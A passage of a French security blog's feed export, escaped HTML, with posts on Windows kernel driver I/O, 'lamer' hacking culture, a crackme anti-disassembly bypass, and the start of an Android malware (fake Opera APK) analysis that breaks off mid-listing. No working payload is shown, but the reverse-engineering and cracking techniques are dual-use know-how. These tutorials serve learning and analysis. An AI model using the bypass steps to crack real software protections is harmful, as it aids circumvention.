&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ReadFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hDevice&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Got &lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt;&lt;span class="s"&gt; from the kernel - %d bytes read&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;hDevice handle: %x&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hDevice&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;puis lancez l'exécutable.&lt;/p&gt;
&lt;p&gt;Vous devriez voir apparaître "Got data from SystemBuffer: THE GAME" dans DebugView, puis "Salut les tapz !" dans la console du programme lancé.&lt;/p&gt;
&lt;p&gt;Voilà pour cette introduction à la programmation système sous Windows :þ&lt;/p&gt;</content><category term="Hacking"/><category term="C"/><category term="IRP"/><category term="kernel"/><category term="Windows"/><category term="ring0"/></entry><entry><title>Les "hackers" mainstream : réflexion autour de la naissance des "lamerz"</title><link href="/les-hackers-mainstream-reflexion-autour-de-la-naissance-des-lamerz.html" rel="alternate"/><published>2012-07-10T15:55:00+02:00</published><updated>2012-07-10T15:55:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2012-07-10:/les-hackers-mainstream-reflexion-autour-de-la-naissance-des-lamerz.html</id><summary type="html">&lt;p&gt;Je sais déjà que le titre de cet article fera frémir certains, rire d'autres, ou choquera certains puristes. Certains se demanderont quelle quantité de chocapicz et autres stupéfiants j'ai pu absorber lors de l'écriture de cet article, et rassurez-vous, je suis parfaitement lucide pour écrire cet article.&lt;/p&gt;
&lt;p&gt;Cet article a pour but (du moins je l'espère) de démystifier la scène "lamerz", et d'appréhender comment ceux-ci ont bien pu arriver là.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Je sais déjà que le titre de cet article fera frémir certains, rire d'autres, ou choquera certains puristes. Certains se demanderont quelle quantité de chocapicz et autres stupéfiants j'ai pu absorber lors de l'écriture de cet article, et rassurez-vous, je suis parfaitement lucide pour écrire cet article.&lt;/p&gt;
&lt;p&gt;Cet article a pour but (du moins je l'espère) de démystifier la scène "lamerz", et d'appréhender comment ceux-ci ont bien pu arriver là.&lt;/p&gt;


&lt;h2&gt;"hacker mainstream": Dafuck is this shit ?&lt;/h2&gt;
&lt;p&gt;Ce concept peut paraître paradoxal (et il l'est). En effet, le mouvement hacker (s'il y en a réellement un) serait basé sur l'innovation, la découverte de techniques élégantes et originales pour résoudre un problème donné. Les hackers sont souvent associés à la culture "underground", culture elle aussi basée sur les nouvelles expériences et le rejet de la société telle qu'elle est actuellement.&lt;/p&gt;
&lt;p&gt;Le "mainstream" quand à lui, rassemble toute la "culture" diffusée par les médias de masse (c'est-à-dire l'"internet civilisé" contrôlé par des multinationales telles que Facebook ou Google, la télévision, le cinéma grand public), qui est à des kilomètres du côté marginal et expérimental de la "culture hacker". Pourquoi donc associer les deux me direz-vous ?&lt;/p&gt;
&lt;p&gt;Tout simplement parce que ces médias de masse génèrent une image particulière du hacker dans l'imaginaire populaire, très  souvent à des kilomètres de la réalité. Les médias n'hésitent pas à nous présenter des petits singes prépubères jouant avec des logiciels prévus pour s'introduire dans les systèmes (communéments nommés R.A.Ts pour "Remote Administration Tool") comme de "petits génies de l'informatique". Ces médias ont aussi tendance aussi à amplifier les "exploits" des hackers dans les films et séries grand public comme NCIS, qui montrent des "super-hackers" capables de contourner les protections de la CIA en 30 minutes pour récupérer un dossier pour leur enquête ; ou encore grâce aux reportages alarmistes sur les vols de numéros de cartes bancaires (réalisés par les gentils africains au Zimbabwe en quête d'argent, évidemment).&lt;/p&gt;
&lt;p&gt;Toute cette propagande contribue à ternir l'image des hackers aux yeux du grand public, les percevant comme d'horribles monstres voleurs de cartes bleues, capables de s'introduire partout là où bon leur semble.&lt;/p&gt;
&lt;h2&gt;Et les "lamers" dans tout ça ?&lt;/h2&gt;
&lt;p&gt;Parmi cette population manipulée vivent des enfants et préadolescents qui sont fascinés par ces prétendus exploits pour des raisons diverses (de la soif de pouvoir à la vengence ou la curiosité malsaine), voulant "devenir hacker" pour être capables de voir le Facebook/MSN/whatever de leur copain(e)s/ennemis/chien(s), récupérer leur mot de passe pour faire des "blagues", ou encore se venger d'un autre lamer qui lui a volé son compte d'un quelconque jeu en ligne (habbo ou dofus au hasard).&lt;/p&gt;
&lt;p&gt;Ces lamers ont la fâcheuse tendance de créer d'innombrables "communautés" de hack, où ils s'échangent différents R.A.Ts (voir définition plus haut), stealers (logiciels conçus pour voler les mots de passe stockés sur un ordinateur), botnets ou encore logiciels permettant de réaliser des DDoS tels que "LOIC" (attaque popularisée par les "Anonymous" soit dit en passant). Ces forums se font connaître grâce aux forums de jeux où sont présents les lamers, ou encore sur d'autres forums de "hack" ; se faire connaître sur ces forums de "hack" menaçant par le fait l'existence du forum, étant donné qu'une "communauté" n'apprécie pas qu'une autre communauté vienne "puber" sur la sienne.&lt;/p&gt;
&lt;p&gt;On observe ainsi différentes communautés naissant puis disparaissant dans une guerre perpétuelle entre "communautés", dans un florilège de pages de deface et autres joyeux DDoS. Là-dessus, certains membres plus expérimentés, souvent des cybercriminels et considérés comme des demi-dieux par les lamerz, initient ces derniers à l'art du phishing, de la revente de comptes, voire du carding. Ces "communautés" sont donc des générateurs de cybercriminels, venant ainsi alimenter les reportages des mass-media et renforcer l'imaginaire populaire du "grand méchant hacker". On peut ainsi observer comment les "mass media" ont réussi à engendrer un phénomène qui au final leur rapporte beaucoup (ce genre de reportages ont un succès particulier chez Mme Michu en mal de sensations fortes), ainsi qu'aux cybercriminels et concepteurs de malwares qui peuvent ainsi revendre leurs créations sur cette scène "hacker mainstream".&lt;/p&gt;</content><category term="Humour / Philosophie"/></entry><entry><title>Nouveau thème</title><link href="/nouveau-theme.html" rel="alternate"/><published>2012-04-08T12:29:00+02:00</published><updated>2012-04-08T12:29:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2012-04-08:/nouveau-theme.html</id><summary type="html">&lt;p&gt;Après une longue période d'hibernation de ma part sur mon blog (étant principalement plus actif à glander sur IRC en ce moment), je me suis décidé à changer le thème de mon blog, qui comme vous pouvez le constater, est assez minimaliste.&lt;/p&gt;
&lt;p&gt;En effet, je pense qu'il est bon de revenir à des interfaces simples, et facilement lisibles plûtot qu'un thème encombré, avec plein d'images partout et qui mets beaucoup de temps à charger pour les petites connexions (par exemple wifi public ou encore connexion G), étant donné que l'essentiel d'un blog et surtout son contenu, et non son contenant.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Après une longue période d'hibernation de ma part sur mon blog (étant principalement plus actif à glander sur IRC en ce moment), je me suis décidé à changer le thème de mon blog, qui comme vous pouvez le constater, est assez minimaliste.&lt;/p&gt;
&lt;p&gt;En effet, je pense qu'il est bon de revenir à des interfaces simples, et facilement lisibles plûtot qu'un thème encombré, avec plein d'images partout et qui mets beaucoup de temps à charger pour les petites connexions (par exemple wifi public ou encore connexion G), étant donné que l'essentiel d'un blog et surtout son contenu, et non son contenant.&lt;/p&gt;

&lt;p&gt;De plus, le côté "old school" du temps du web 1.0 (ou moins encore) me plaît en ce moment, et ça change sûrement des designs technofuturistes qui certes, sont agréables à l'oeil, mais rendent vite la lecture des articles pénibles&lt;/p&gt;
&lt;p&gt;Enfin je suis actuellement en train de travailler sur l'implémentation d'une backdoor grâce à un plugin pour gnome-shell, afin d'explorer les potentielles faiblesses de sécurité de cette technologie assez nouvelle, et de voir jusqu'à quel point un plugin malvillant pourrait compromettre un système.&lt;/p&gt;
&lt;p&gt;Bien entendu, je rédigerai un paper comme il se doit, que je compte publier pour le prochain hzv zine. A propos des webzines, le premier numéeo du webzine de &lt;a href="https://n-pn.fr/"&gt;N-PN&lt;/a&gt; dont je m'occupe devrait pas tarder à sortir, et contiendra beaucoup d'articles intéressants concernant le reverse-engineering (dont une version revue, corrigée et complétée de mon précédent billet :þ). Ce webzine sera publié en HTML5, dans un unique fichier (grâce à l'attribut "data" qui est assez pratique.)&lt;/p&gt;
&lt;p&gt;Bref, à bientôt pour de nouvelles aventures, et je vous laisse avec cette musique, assez "épique".&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;iframe style="width:220px;height:390px;padding:0;border:none;" src="https://widgets.jamendo.com/v3/album/47993"&gt;&lt;/iframe&gt;&lt;/div&gt;</content><category term="Général"/></entry><entry><title>Contourner les protections anti-désassembleurs</title><link href="/contourner-les-protections-anti-desassembleurs.html" rel="alternate"/><published>2011-12-04T08:56:00+01:00</published><updated>2011-12-04T08:56:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-12-04:/contourner-les-protections-anti-desassembleurs.html</id><summary type="html">&lt;p&gt;Dans le monde du reverse-engineering, c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre cas, on peut trouver des protections différentes, allant du chiffrage du programme (ou de sa compression) à la détection de débuggeurs (outils servant à contrôler le flux d'exécution d'un programme, l'arrêter à certains endroits). Une autre technique, qui sera celle montrée ici est le fait de rendre les désassembleurs incapables de retrouver le code assembleur
d'un binaire.&lt;/p&gt;
&lt;p&gt;Nous allons donc voir ici comment analyser ce genre de programmes, et comment contourner cette protection à travers un exemple simple pour commencer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prérequis:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Savoir manier un éditeur hexadécimal, connaître les instructions assembleur de base, avoir quelques notions en cracking/reverse-engineering.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Dans le monde du reverse-engineering, c'est-à-dire l'art d'analyser le fonctionnement d'un binaire dans notre cas, on peut trouver des protections différentes, allant du chiffrage du programme (ou de sa compression) à la détection de débuggeurs (outils servant à contrôler le flux d'exécution d'un programme, l'arrêter à certains endroits). Une autre technique, qui sera celle montrée ici est le fait de rendre les désassembleurs incapables de retrouver le code assembleur
d'un binaire.&lt;/p&gt;
&lt;p&gt;Nous allons donc voir ici comment analyser ce genre de programmes, et comment contourner cette protection à travers un exemple simple pour commencer.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Prérequis:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Savoir manier un éditeur hexadécimal, connaître les instructions assembleur de base, avoir quelques notions en cracking/reverse-engineering.&lt;/p&gt;


&lt;h2&gt;Premier contact avec le crackme&lt;/h2&gt;
&lt;p&gt;Tout d'abord, vous pouvez télécharger le crackme à cette adresse: &lt;a href="http://repos.aassfxxx.infos.st/misc/crackme/demo"&gt;http://repos.aassfxxx.infos.sr/misc/crackme/demo&lt;/a&gt; . Une fois ceci fait, nous allons prendre notre désassembleur favori (IDA Pro dans mon cas, mais objdump fait aussi l'affaire). Lorsqu'on essaie de l'exécuter, le crackme nous accueille avec un gentil message "Essaie encore :þ", ce qui montre que le crackme fonctionne.
Un "file" sur le crackme nous indique qu'il est stripped, c'est-à-dire que tous les symboles de débuggage ont été retirés du binaire. Ainsi, le désassembleur va nous diriger sur _start (le "vrai" point d'entrée du programme, et non main, appelé par _start).&lt;/p&gt;
&lt;p&gt;On désassemble donc notre programme, comme on ferait pour n'importe quel autre crackme. Il va donc falloir retrouver notre "main", étant donné que le désassembleur n'a pas pu le localiser. On s'aperçoit qu'il y a un &lt;code&gt;push    offset sub_8048495&lt;/code&gt; avant un &lt;code&gt;call __libc_start_main&lt;/code&gt;, ce qui nous indique que notre &lt;code&gt;main&lt;/code&gt; est à l'adresse &lt;code&gt;0x08048495&lt;/code&gt;. Lorsqu'on désassemble ce &lt;code&gt;main&lt;/code&gt;, on s'aperçoit qu'il y a plein de code qui n'a a priori aucun sens (ou pire dans le cas d'IDA, une suite de dwords incompréhensibles lorsqu'on est en "Text View").
Nous allons donc voir ici comment pallier ce problème.&lt;/p&gt;
&lt;h2&gt;Analyse statique du binaire&lt;/h2&gt;
&lt;p&gt;On va ici se servir du désassembleur pour comprendre comment le processeur arrive à exécuter cette bouillie d'instructions sans broncher. Tout d'abord, on commence par trouver le "main" (dans notre cas à 0x08048495). Si vous ne trouvez rien à cette adresse (mais que les chiffres à la fin sont proches), c'est qu'il y a déjà des protections contre le désassemblage (et une analyse dynamique conviendra mieux pour ce cas). Ce n'est pas le cas dans ce crackme.
On va donc analyser les premières instructions du programme:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;esp&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="nv"&gt;_80484A4&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;loc_8048516&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On aperçoit ici le prologue habituel ("push ebp" et "mov ebp,esp"), l'initialisation de deux registres puis un saut vers 0x8048516.
Regardons donc cette fonction:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;offset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;dword&lt;/span&gt;&lt;span class="nv"&gt;_80484A4&lt;/span&gt;
&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;edx&lt;/span&gt;
&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nb"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La première chose qui nous frappe, c'est ce "jmp eax" : on sait que notre programme va aller sauter à la valeur contenue dans eax. Or, eax est initialisé avec "0x080484A4" qui ressemble curieusement à une adresse de fonction et qu'on retrouve dans notre désassemblage (là où le code est devenu incohérent).&lt;/p&gt;
&lt;p&gt;Le programme ajoute aussi edx à la valeur d'eax, or edx vaut 2. On a donc, &lt;code&gt;eax = 0x080484A4 + 2&lt;/code&gt;.
Ensuite, on met eax dans edx, puis on retranche la valeur de la "fonction" à edx, qui est du coup égal à 2. On ajoute encore edx (donc 2) à eax, avant de jmp à la valeur contenue dans eax. On a donc 4 octets de décalage entre la fonction annoncée et la fonction "réelle" qui contient n'importe quoi, ce qui embrouille le désassembleur. On va donc nopper ces 4 octets afin de redonner du sens à notre code (je supposerai ici que vous savez localiser et éditer des octets dans un binaire). Sous IDA, il suffira juste de se placer 4 octets après "0x080484A4" et de presser "C", ce qui demandera à IDA d'analyser le code.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Nous avons vu ici comment contourner une protection "basique", et le programme analysé est bien évidemment élémentaire. Cependant, ce genre de procédés est aussi couplé avec d'autres techniques telles que les anti-débuggeurs ou la compression du code, ce qui rend l'analyse plus difficile.&lt;/p&gt;
&lt;p&gt;J'espère malgré tout que cet article vous aura ouvert de nouvelles possibilités, et qui sait, trouver une méthode pour résoudre un problème plus délicat.&lt;/p&gt;
&lt;p&gt;That's all folks !&lt;/p&gt;</content><category term="Reverse-engineering"/></entry><entry><title>Reverse de malware Android</title><link href="/reverse-de-malware-android.html" rel="alternate"/><published>2011-10-26T14:36:00+02:00</published><updated>2011-10-26T14:36:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2011-10-26:/reverse-de-malware-android.html</id><summary type="html">&lt;p&gt;Bonjour à tous!&lt;/p&gt;
&lt;p&gt;Ayant analysé un malware Android (nommé operaandroidi14.apk) que j'ai téléchargé par hasard sur le Net, j'ai donc décidé d'expliquer comment reverser un malware android à partir d'un exemple concret.&lt;br/&gt;
Ce malware nous propose de télécharger le navigateur Opera gratuitement (alors que celui-ci est disponible sur Internet), cependant, l'application effectue quelques actions à l'insu de l'utilisateur avant de donner le lien de téléchargement d'une version d'Opera (très certainement backdoorée...).&lt;br/&gt;
Je présenterai donc ici la structure d'une application Android, avant d'attaquer le reversing du malware, et la collecte d'informations sur son créateur.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Bonjour à tous!&lt;/p&gt;
&lt;p&gt;Ayant analysé un malware Android (nommé operaandroidi14.apk) que j'ai téléchargé par hasard sur le Net, j'ai donc décidé d'expliquer comment reverser un malware android à partir d'un exemple concret.&lt;br/&gt;
Ce malware nous propose de télécharger le navigateur Opera gratuitement (alors que celui-ci est disponible sur Internet), cependant, l'application effectue quelques actions à l'insu de l'utilisateur avant de donner le lien de téléchargement d'une version d'Opera (très certainement backdoorée...).&lt;br/&gt;
Je présenterai donc ici la structure d'une application Android, avant d'attaquer le reversing du malware, et la collecte d'informations sur son créateur.&lt;/p&gt;


&lt;h2&gt;Structure d'un fichier APK, et tools nécessaires&lt;/h2&gt;
&lt;p&gt;Une application Android est fichier .apk, qui, techniquement n'est qu'une archive .zip renomée. Cette archive contient quelques fichiers et dossiers qui nous intéresseront:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Le dossier res: &lt;/strong&gt; Contient toutes les ressources (données) dont se sert l'application&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le fichier classes.dex: &lt;/strong&gt; C'est le fichier qui contient tout le code compilé de l'application Android.
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L'étude de notre malware va donc se focaliser sur ce fameux "classes.dex" ainsi que sur les ressources. Ce fichier contient du bytecode, qu'il va nous falloir désassembler à l'aide de &lt;a href="http://code.google.com/p/smali/downloads/detail?name=baksmali-1.2.8.jar&amp;can=2&amp;q="&gt;baksmali&lt;/a&gt; (il vous faudra bien évidemment installer la JVM). On désassemblera le tout à l'aide de la commande, une fois avoir extrait l'archive APK:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;java&lt;span class="w"&gt; &lt;/span&gt;-jar&lt;span class="w"&gt; &lt;/span&gt;baksmali-1.2.8.jar&lt;span class="w"&gt; &lt;/span&gt;-s&lt;span class="w"&gt; &lt;/span&gt;classes.dex
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cette commande nous génère un dossier "out", qui contient tout le code "smali" (une sorte d'assembleur pour le bytecode du JIT compiler d'Android) de notre application. Passons donc à l'analyse de cette application.&lt;/p&gt;
&lt;h2&gt;Reversing du malware&lt;/h2&gt;
&lt;p&gt;On va commencer par rechercher le point d'entrée de l'application (repérable grâce à la méthode onCreate). On va donc utiliser un coup de "grep", qui nous informe que le fichier incriminé est out/com/registr/registrator/RegistratorActivity.smali, et le code de la fonction est:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;.method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/os/&lt;span class="nc"&gt;Bundle&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.registers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.parameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;savedInstanceState&amp;quot;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.prologue&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;invoke-super&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;p1&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/app/&lt;span class="nc"&gt;Activity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/os/&lt;span class="nc"&gt;Bundle&lt;/span&gt;;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;21&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const/high16&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f03&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;setContentView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;V&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;.line&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;23&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;const/high16&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f06&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;invoke-virtual&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;p0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;com/registr/registrator/&lt;span class="nc"&gt;RegistratorActivity&lt;/span&gt;;&lt;span class="p"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;findViewById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;I&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/view/&lt;span class="nc"&gt;View&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;move-result-object&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;check-cast&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;L&lt;/span&gt;android/widget/&lt;span class="nc"&gt;TextView&lt;/span&gt;;

&lt;span class="w"&gt;    &lt;/span&gt;const&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x7f040002&lt;/span&gt;

